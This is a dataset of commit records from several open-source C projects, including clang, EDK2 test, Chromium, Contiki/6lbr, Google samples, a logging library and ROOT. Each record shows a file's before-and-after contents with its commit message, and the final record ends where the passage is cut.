{"commit":"c4497036cff93da286ae188cfd95aa3f01390c61","old_file":"test\/CodeGen\/bitfield-promote.c","new_file":"test\/CodeGen\/bitfield-promote.c","old_contents":"\/\/ RUN: %clang -target i686-unknown-unknown -O3 -emit-llvm -S -o - %s | FileCheck %s\n\nlong long f0(void) {\n struct { unsigned f0 : 32; } x = { 18 };\n return (long long) (x.f0 - (int) 22);\n}\n\/\/ CHECK: @f0()\n\/\/ CHECK: ret i64 4294967292\n\nlong long f1(void) {\n struct { unsigned f0 : 31; } x = { 18 };\n return (long long) (x.f0 - (int) 22);\n}\n\/\/ CHECK: @f1()\n\/\/ CHECK: ret i64 -4\n\nlong long f2(void) {\n struct { unsigned f0     ; } x = { 18 };\n return (long long) (x.f0 - (int) 22);\n}\n\/\/ CHECK: @f2()\n\/\/ CHECK: ret i64 4294967292\n","new_contents":"\/\/ RUN: %clang -O3 -emit-llvm -S -o - %s | FileCheck %s\n\nlong long f0(void) {\n struct { unsigned f0 : 32; } x = { 18 };\n return (long long) (x.f0 - (int) 22);\n}\n\/\/ CHECK: @f0()\n\/\/ CHECK: ret i64 4294967292\n\nlong long f1(void) {\n struct { unsigned f0 : 31; } x = { 18 };\n return (long long) (x.f0 - (int) 22);\n}\n\/\/ CHECK: @f1()\n\/\/ CHECK: ret i64 -4\n\nlong long f2(void) {\n struct { unsigned f0     ; } x = { 18 };\n return (long long) (x.f0 - (int) 22);\n}\n\/\/ CHECK: @f2()\n\/\/ CHECK: ret i64 4294967292\n","subject":"Make ReadDataFromGlobal() and FoldReinterpretLoadFromConstPtr() Big-endian-aware.","message":"llvm\/ConstantFolding.cpp: Make ReadDataFromGlobal() and FoldReinterpretLoadFromConstPtr() Big-endian-aware.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@167595 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"be7a096ef7a305bed73421473c26313306d192a0","old_file":"uefi-sct\/SctPkg\/UEFI\/Protocol\/RiscVBoot.h","new_file":"uefi-sct\/SctPkg\/UEFI\/Protocol\/RiscVBoot.h","old_contents":"","new_contents":"\/** @file\n\n  Copyright (c) 2022, Ventana Micro Systems Inc. All rights reserved.<BR>\n\n  This program and the accompanying materials\n  are licensed and made available under the terms and conditions of the BSD License\n  which accompanies this distribution.  The full text of the license may be found at\n  http:\/\/opensource.org\/licenses\/bsd-license.php\n\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\n\n**\/\n\/*++\n\nModule Name:\n\n  RiscVBoot.h\n\nAbstract:\n\n  This UEFI protocol for RISC-V systems provides early information to the bootloaders or Operating\n  Systems. Firmwares like EDK2\/u-boot need to implement this protocol on RISC-V UEFI systems.\n--*\/\n\n#ifndef _RISCV_BOOT_H_\n#define _RISCV_BOOT_H_\n\n\n\/\/\n\/\/ Global ID for the RISC-V Boot Protocol\n\/\/\n#define RISCV_EFI_BOOT_PROTOCOL_GUID \\\n\t{ 0xccd15fec, 0x6f73, 0x4eec, { 0x83, 0x95, 0x3e, 0x69, 0xe4, 0xb9, 0x40, 0xbf } }\n\ntypedef struct _RISCV_EFI_BOOT_PROTOCOL RISCV_EFI_BOOT_PROTOCOL;\n\ntypedef\nEFI_STATUS\n(EFIAPI *EFI_GET_BOOT_HARTID) (\n  IN RISCV_EFI_BOOT_PROTOCOL    *This,\n  OUT UINTN \t\t\t*BootHartId\n  )\n\/*++\n\n  Routine Description:\n    This interface provides the hartid of the boot cpu.\n\n  Arguments:\n    This          - Protocol instance pointer.\n    BootHartId    - Pointer to the variable receiving the hartid of the boot cpu.\n\n  Returns:\n    EFI_SUCCESS \t  - The boot hart id could be returned.\n    EFI_INVALID_PARAMETER - This parameter is NULL or does not point to a valid\n\t\t\t    RISCV_EFI_BOOT_PROTOCOL implementation.\n    EFI_INVALID_PARAMETER - BootHartId parameter is NULL.\n\n--*\/\n;\n\n\/\/\n\/\/ Interface structure for the RISC-V Boot Protocol\n\/\/\nstruct _RISCV_EFI_BOOT_PROTOCOL {\n  UINTN    \t\tRevision;\n  EFI_GET_BOOT_HARTID  \tGetBootHartId;\n};\n\nextern EFI_GUID gBlackBoxEfiRiscVBootProtocolGuid;\n\n#endif\n","subject":"Add header file for RISCV_EFI_BOOT_PROTOCOL","message":"uefi-sct\/SctPkg: Add header file for RISCV_EFI_BOOT_PROTOCOL\n\nREF: https:\/\/bugzilla.tianocore.org\/show_bug.cgi?id=3837\n\nRISC-V platforms need to support new RISCV_EFI_BOOT_PROTOCOL\nto communicate the boot hart ID to the operating system. Add\nthe required header file for this protocol.\n\nThe specification of the protocol is maintained at:\nhttps:\/\/github.com\/riscv-non-isa\/riscv-uefi\n\nCc: G Edhaya Chandran <Edhaya.Chandran@arm.com>\nCc: Barton Gao <gaojie@byosoft.com.cn>\nCc: Carolyn Gjertsen <Carolyn.Gjertsen@amd.com>\nCc: Samer El-Haj-Mahmoud <Samer.El-Haj-Mahmoud@arm.com>\nCc: Eric Jin <eric.jin@intel.com>\nCc: Arvin Chen <arvinx.chen@intel.com>\nCc: Supreeth Venkatesh <Supreeth.Venkatesh@amd.com>\nCc: Ard Biesheuvel <ardb@kernel.org>\nCc: Heinrich Schuchardt <d0f16556e4bb5a699e5016a06ebfc6cd472096d1@canonical.com>\nCc: Abner Chang <abner.chang@hpe.com>\n\nSigned-off-by: Sunil V L <2e3cbc10ab186f96566b5c56fac07befa110be79@ventanamicro.com>\nReviewed-by: Heinrich Schuchardt <d0f16556e4bb5a699e5016a06ebfc6cd472096d1@canonical.com>\nTested-by: Heinrich Schuchardt <d0f16556e4bb5a699e5016a06ebfc6cd472096d1@canonical.com>\n","lang":"C","license":"bsd-2-clause","repos":"tianocore\/edk2-test,tianocore\/edk2-test,tianocore\/edk2-test"}
{"commit":"2f6d322b526ced2ffedb55af29179a87fbae4635","old_file":"ui\/events\/ozone\/evdev\/event_device_util.h","new_file":"ui\/events\/ozone\/evdev\/event_device_util.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_EVENTS_OZONE_EVDEV_EVENT_DEVICE_UTIL_H_\n#define UI_EVENTS_OZONE_EVDEV_EVENT_DEVICE_UTIL_H_\n\n#include <limits.h>\n\nnamespace ui {\n\n#define EVDEV_LONG_BITS (CHAR_BIT * sizeof(long))\n#define EVDEV_BITS_TO_LONGS(x) (((x) + EVDEV_LONG_BITS - 1) \/ EVDEV_LONG_BITS)\n\nstatic inline int EvdevBitIsSet(const unsigned long* data, int bit) {\n  return data[bit \/ EVDEV_LONG_BITS] & (1UL << (bit % EVDEV_LONG_BITS));\n}\n\n}  \/\/ namespace ui\n\n#endif  \/\/ UI_EVENTS_OZONE_EVDEV_EVENT_DEVICE_UTIL_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_EVENTS_OZONE_EVDEV_EVENT_DEVICE_UTIL_H_\n#define UI_EVENTS_OZONE_EVDEV_EVENT_DEVICE_UTIL_H_\n\n#include <limits.h>\n\nnamespace ui {\n\n#define EVDEV_LONG_BITS (CHAR_BIT * sizeof(long))\n#define EVDEV_BITS_TO_LONGS(x) (((x) + EVDEV_LONG_BITS - 1) \/ EVDEV_LONG_BITS)\n\nstatic inline bool EvdevBitIsSet(const unsigned long* data, int bit) {\n  return data[bit \/ EVDEV_LONG_BITS] & (1UL << (bit % EVDEV_LONG_BITS));\n}\n\n}  \/\/ namespace ui\n\n#endif  \/\/ UI_EVENTS_OZONE_EVDEV_EVENT_DEVICE_UTIL_H_\n","subject":"Make EvdevBitIsSet return a bool","message":"Make EvdevBitIsSet return a bool\n\nCan't return an int since the result of the operation is a long, so it\ncan overflow an int leading to errors. Since all usages of EvdevBitIsSet\nare looking for a boolean response change it to bool.\n\nBUG=none\nNOTRY=true\n\nReview URL: https:\/\/codereview.chromium.org\/643663003\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#298887}\n","lang":"C","license":"bsd-3-clause","repos":"dushu1203\/chromium.src,Just-D\/chromium-1,chuan9\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,dednal\/chromium.src,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,ltilve\/chromium,axinging\/chromium-crosswalk,Jonekee\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,jaruba\/chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,dednal\/chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,ltilve\/chromium,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,Just-D\/chromium-1,axinging\/chromium-crosswalk,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,ltilve\/chromium,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk,ltilve\/chromium,dushu1203\/chromium.src,Chilledheart\/chromium,Jonekee\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,dushu1203\/chromium.src,dednal\/chromium.src,chuan9\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,dushu1203\/chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,Just-D\/chromium-1,jaruba\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,Chilledheart\/chromium,M4sse\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,M4sse\/chromium.src,chuan9\/chromium-crosswalk,dednal\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk"}
{"commit":"ad8bedc4b56f6376e32938c1cdbf7156817a9d17","old_file":"examples\/ipv6\/slip-radio\/slip-radio-cooja.c","new_file":"examples\/ipv6\/slip-radio\/slip-radio-cooja.c","old_contents":"","new_contents":"\/*\n * Copyright (c) 2011, Swedish Institute of Computer Science\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the Institute nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * This file is part of the Contiki operating system.\n *\n * Sets up some commands for the CC2420 radio chip.\n *\/\n\n#include \"contiki.h\"\n#include \"contiki-net.h\"\n#include \"cooja-radio.h\"\n#include \"cmd.h\"\n#include <stdio.h>\n#include <string.h>\n#include \"net\/mac\/frame802154.h\"\n\nint\ncmd_handler_cooja(const uint8_t *data, int len)\n{\n  if(data[0] == '!') {\n    if(data[1] == 'C' && len == 3) {\n      printf(\"cooja_cmd: setting channel: %d\\n\", data[2]);\n      radio_set_channel(data[2]);\n      return 1;\n    } else if(data[1] == 'M' && len == 10) {\n        printf(\"cooja_cmd: Got MAC\\n\");\n        memcpy(uip_lladdr.addr, data+2, sizeof(uip_lladdr.addr));\n        linkaddr_set_node_addr((linkaddr_t *) uip_lladdr.addr);\n        return 1;\n      }\n  } else if(data[0] == '?') {\n    if(data[1] == 'C' && len == 2) {\n      uint8_t buf[4];\n      printf(\"cooja_cmd: getting channel: %d\\n\", data[2]);\n      buf[0] = '!';\n      buf[1] = 'C';\n      buf[2] = 0;\n      cmd_send(buf, 3);\n      return 1;\n    }\n  }\n  return 0;\n}\n","subject":"Add slip-radio interface module for cooja-radio","message":"Add slip-radio interface module for cooja-radio\n","lang":"C","license":"bsd-3-clause","repos":"bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr"}
{"commit":"1398f48d8247d4cc3d11fff787d39e79228e6f04","old_file":"ios\/template\/GMPExample\/AppDelegate.h","new_file":"ios\/template\/GMPExample\/AppDelegate.h","old_contents":"\/\/\n\/\/  Copyright (c) 2015 Google Inc.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface AppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (strong, nonatomic) UIWindow *window;\n\n@end\n","new_contents":"\/\/\n\/\/  Copyright (c) 2015 Google Inc.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface AppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (nonatomic, strong) UIWindow *window;\n\n@end\n","subject":"Fix order of property attributes","message":"Fix order of property attributes\n\nChange-Id: I7a313d25a6707bada03328b0799300f07a26ba3b\n","lang":"C","license":"apache-2.0","repos":"ravifullestop\/google-services,ardock\/google-services,ardock\/google-services,mashamaziuk\/google-services,rahulbhati\/google-services,shinhithi\/google-services,dejavu1988\/google-services,seecahkhing\/google-services,cloudmine\/android-gcm-example,wonderL0\/second,javijuol\/google-services,vinod-jaiswal18\/google-services,hay12396\/GoogleServices,tiembo\/google-services,zubbles\/-https-github.com-googlesamples-google-services,wonderL0\/second,enba417\/google-services,KozakOlegko\/google-services,ardock\/google-services,zubbles\/-https-github.com-googlesamples-google-services,wonderL0\/second,CSdummy24\/Test,jlvivero\/googlestuff,msoftware\/google-services,ingdjason\/google-services,jsavage\/google-services,CloromiroJ\/joanma,tranxuanloc\/google-services,CloromiroJ\/joanma,dejavu1988\/google-services,vinod-jaiswal18\/google-services,mgupta133\/googlemohit,tiembo\/google-services,adamhongmy\/google-services,VenkataYerneni\/Android-Push,CSdummy24\/Test,rahulbhati\/google-services,rokity\/GCM-Sample,rishikksh20\/google-services,fhaoquan\/google-services,Belthazor2008\/google-services,KozakOlegko\/google-services,renekaigen\/google-services,ton1n8o\/GCM_Tutorial,whegreen\/google-services,AdamRLukaitis\/google-services,dandanthio\/google-services,t9nf\/google-services,skykelsey\/google-services,t9nf\/google-services,mucahitsidimi\/google-services,tranxuanloc\/google-services,LFSDeveloper\/google-services,javijuol\/google-services,googlesamples\/google-services,mgupta133\/googlemohit2,shilpasweth\/google-services,AdamRLukaitis\/google-services,ank5kumar\/google-services,ank5kumar\/google-services,LFSDeveloper\/google-services,shilpasweth\/google-services,VenkataYerneni\/Android-Push,enba417\/google-services,dandanthio\/google-services,rokity\/GCM-Sample,mucahitsidimi\/google-services,Grimmjowjack\/google-services,xerex09\/google-login,rishikksh20\/google-services,ank5kumar\/google-services,bgdavidx\/google-services,Syncano\/google-services-example,lolkabagm\/google-services,KozakOlegko\/google-services,Belthazor2008\/google-services,rishikksh20\/google-services,ton1n8o\/GCM_Tutorial,renekaigen\/google-services,magicgoose\/google-services,Jonadg91\/google-services,rahulbhati\/google-services,rafahells\/google-services,Jonadg91\/google-services,SunghanKim\/google-services,fhaoquan\/google-services,LFSDeveloper\/google-services,suclike\/google-services,CSdummy24\/Test,msoftware\/google-services,googlesamples\/google-services,HaiLe\/google-services,samtstern\/google-services,skykelsey\/google-services,kuassivi\/google-services,t9nf\/google-services,kuassivi\/google-services,t9nf\/google-services,renekaigen\/google-services,renekaigen\/google-services,vertxx\/google-services,skykelsey\/google-services,jsavage\/google-services,seecahkhing\/google-services,samtstern\/google-services,mgupta133\/googlemohit,hongnguyenpro\/google-services,ingdjason\/google-services,msoftware\/google-services,ingdjason\/google-services,fhaoquan\/google-services,whegreen\/google-services,xerex09\/google-login,ton1n8o\/GCM_Tutorial,shinhithi\/google-services,yuvraaz\/android-push-notification,dandanthio\/google-services,adamhongmy\/google-services,rokity\/GCM-Sample,ardock\/google-services,PenguinSusan\/google-services,rokity\/GCM-Sample,enba417\/google-services,YaliWang0523\/google-services,seecahkhing\/google-services,Shinruw\/GA,YaliWang0523\/google-services,sangupandi\/google-services,sangupandi\/google-services,googlesamples\/google-services,ravifullestop\/google-services,mgupta133\/googlemohit,tranxuanloc\/google-services,rockgtzexe\/try,Syncano\/google-services-example,rafahells\/google-services,cloudmine\/android-gcm-example,vertxx\/google-services,VenkataYerneni\/Android-Push,whegreen\/google-services,suclike\/google-services,rahulbhati\/google-services,hongnguyenpro\/google-services,mucahitsidimi\/google-services,adamhongmy\/google-services,sangupandi\/google-services,lolkabagm\/google-services,magicgoose\/google-services,Shekharrajak\/google-services,SunghanKim\/google-services,ton1n8o\/GCM_Tutorial,hongnguyenpro\/google-services,Grimmjowjack\/google-services,CloromiroJ\/joanma,Belthazor2008\/google-services,ravifullestop\/google-services,yuvraaz\/android-push-notification,magicgoose\/google-services,javijuol\/google-services,xerex09\/google-login,samtstern\/google-services,hay12396\/GoogleServices,hay12396\/GoogleServices,sangupandi\/google-services,cloudmine\/android-gcm-example,ya7lelkom\/google-services-play,Shekharrajak\/google-services,lolkabagm\/google-services,jsavage\/google-services,suclike\/google-services,ank5kumar\/google-services,Aditya8795\/GCM-demo,googlesamples\/google-services,kuassivi\/google-services,seecahkhing\/google-services,adamhongmy\/google-services,samtstern\/google-services,tranxuanloc\/google-services,ya7lelkom\/google-services-play,vertxx\/google-services,mgupta133\/googlemohit,shilpasweth\/google-services,zubbles\/-https-github.com-googlesamples-google-services,Shinruw\/GA,shilpasweth\/google-services,mashamaziuk\/google-services,Jonadg91\/google-services,jlvivero\/googlestuff,Syncano\/google-services-example,AdamRLukaitis\/google-services,HaiLe\/google-services,SunghanKim\/google-services,Syncano\/google-services-example,rockgtzexe\/try,Prof-Greipl\/google-services,magicgoose\/google-services,mashamaziuk\/google-services,dejavu1988\/google-services,tiembo\/google-services,PenguinSusan\/google-services,Grimmjowjack\/google-services,jsavage\/google-services,Belthazor2008\/google-services,PenguinSusan\/google-services,mucahitsidimi\/google-services,whegreen\/google-services,Shinruw\/GA,CloromiroJ\/joanma,CSdummy24\/Test,ya7lelkom\/google-services-play,SunghanKim\/google-services,shinhithi\/google-services,LFSDeveloper\/google-services,Shekharrajak\/google-services,Prof-Greipl\/google-services,msoftware\/google-services,rishikksh20\/google-services,ravifullestop\/google-services,mgupta133\/googlemohit2,jlvivero\/googlestuff,Shinruw\/GA,yuvraaz\/android-push-notification,hay12396\/GoogleServices,vinod-jaiswal18\/google-services,Prof-Greipl\/google-services,zubbles\/-https-github.com-googlesamples-google-services,KozakOlegko\/google-services,enba417\/google-services,vertxx\/google-services,lolkabagm\/google-services,fhaoquan\/google-services,yuvraaz\/android-push-notification,jlvivero\/googlestuff,rockgtzexe\/try,Aditya8795\/GCM-demo,Aditya8795\/GCM-demo,Shekharrajak\/google-services,ingdjason\/google-services,javijuol\/google-services,HaiLe\/google-services,Aditya8795\/GCM-demo,vinod-jaiswal18\/google-services,HaiLe\/google-services,skykelsey\/google-services,bgdavidx\/google-services,rafahells\/google-services,mgupta133\/googlemohit2,wonderL0\/second,YaliWang0523\/google-services,tiembo\/google-services,Jonadg91\/google-services,VenkataYerneni\/Android-Push,cloudmine\/android-gcm-example,bgdavidx\/google-services,rockgtzexe\/try,kuassivi\/google-services,ya7lelkom\/google-services-play,hongnguyenpro\/google-services,dejavu1988\/google-services,mashamaziuk\/google-services,xerex09\/google-login,YaliWang0523\/google-services,shinhithi\/google-services,PenguinSusan\/google-services,rafahells\/google-services,dandanthio\/google-services,bgdavidx\/google-services,Prof-Greipl\/google-services,AdamRLukaitis\/google-services,Grimmjowjack\/google-services,suclike\/google-services,mgupta133\/googlemohit2"}
{"commit":"aca553955645429e0d8fc7cdfcf9dab1f541c0f8","old_file":"src\/libcol\/util\/logger.c","new_file":"src\/libcol\/util\/logger.c","old_contents":"#include <stdarg.h>\n\n#include \"col-internal.h\"\n\nstruct ColLogger\n{\n    ColInstance *col;\n    \/* This is reset on each call to col_log() *\/\n    apr_pool_t *tmp_pool;\n};\n\nColLogger *\nlogger_make(ColInstance *col)\n{\n    ColLogger *logger;\n\n    logger = apr_pcalloc(col->pool, sizeof(*logger));\n    logger->tmp_pool = make_subpool(col->pool);\n\n    return logger;\n}\n\nvoid\ncol_log(ColInstance *col, const char *fmt, ...)\n{\n    va_list args;\n    char *str;\n\n    va_start(args, fmt);\n    str = apr_pvsprintf(col->log->tmp_pool, fmt, args);\n    va_end(args);\n\n    fprintf(stdout, \"LOG: %s\\n\", str);\n    apr_pool_clear(col->log->tmp_pool);\n}\n\nchar *\nlog_tuple(ColInstance *col, Tuple *tuple)\n{\n    char *tuple_str = tuple_to_str(tuple, col->log->tmp_pool);\n    return apr_pstrcat(col->log->tmp_pool, \"{\", tuple_str, \"}\", NULL);\n}\n\nchar *\nlog_datum(ColInstance *col, Datum datum, DataType type)\n{\n    StrBuf *sbuf;\n\n    sbuf = sbuf_make(col->log->tmp_pool);\n    datum_to_str(datum, type, sbuf);\n    sbuf_append_char(sbuf, '\\0');\n    return sbuf->data;\n}\n","new_contents":"#include <stdarg.h>\n\n#include \"col-internal.h\"\n\nstruct ColLogger\n{\n    ColInstance *col;\n    \/* This is reset on each call to col_log() *\/\n    apr_pool_t *tmp_pool;\n};\n\nColLogger *\nlogger_make(ColInstance *col)\n{\n    ColLogger *logger;\n\n    logger = apr_pcalloc(col->pool, sizeof(*logger));\n    logger->tmp_pool = make_subpool(col->pool);\n\n    return logger;\n}\n\nvoid\ncol_log(ColInstance *col, const char *fmt, ...)\n{\n    va_list args;\n    char *str;\n\n    va_start(args, fmt);\n    str = apr_pvsprintf(col->log->tmp_pool, fmt, args);\n    va_end(args);\n\n    fprintf(stdout, \"LOG (%d): %s\\n\", col->port, str);\n    apr_pool_clear(col->log->tmp_pool);\n}\n\nchar *\nlog_tuple(ColInstance *col, Tuple *tuple)\n{\n    char *tuple_str = tuple_to_str(tuple, col->log->tmp_pool);\n    return apr_pstrcat(col->log->tmp_pool, \"{\", tuple_str, \"}\", NULL);\n}\n\nchar *\nlog_datum(ColInstance *col, Datum datum, DataType type)\n{\n    StrBuf *sbuf;\n\n    sbuf = sbuf_make(col->log->tmp_pool);\n    datum_to_str(datum, type, sbuf);\n    sbuf_append_char(sbuf, '\\0');\n    return sbuf->data;\n}\n","subject":"Include port number in col_log() output.","message":"Include port number in col_log() output.\n","lang":"C","license":"mit","repos":"bloom-lang\/c4,bloom-lang\/c4,bloom-lang\/c4"}
{"commit":"3a17534c8858f0a95f6347f96aff11948f4267b8","old_file":"eg\/inc\/LinkDef.h","new_file":"eg\/inc\/LinkDef.h","old_contents":"\/* @(#)root\/eg:$Name:  $:$Id: LinkDef.h,v 1.2 2000\/09\/06 15:15:18 brun Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TParticle-;\n#pragma 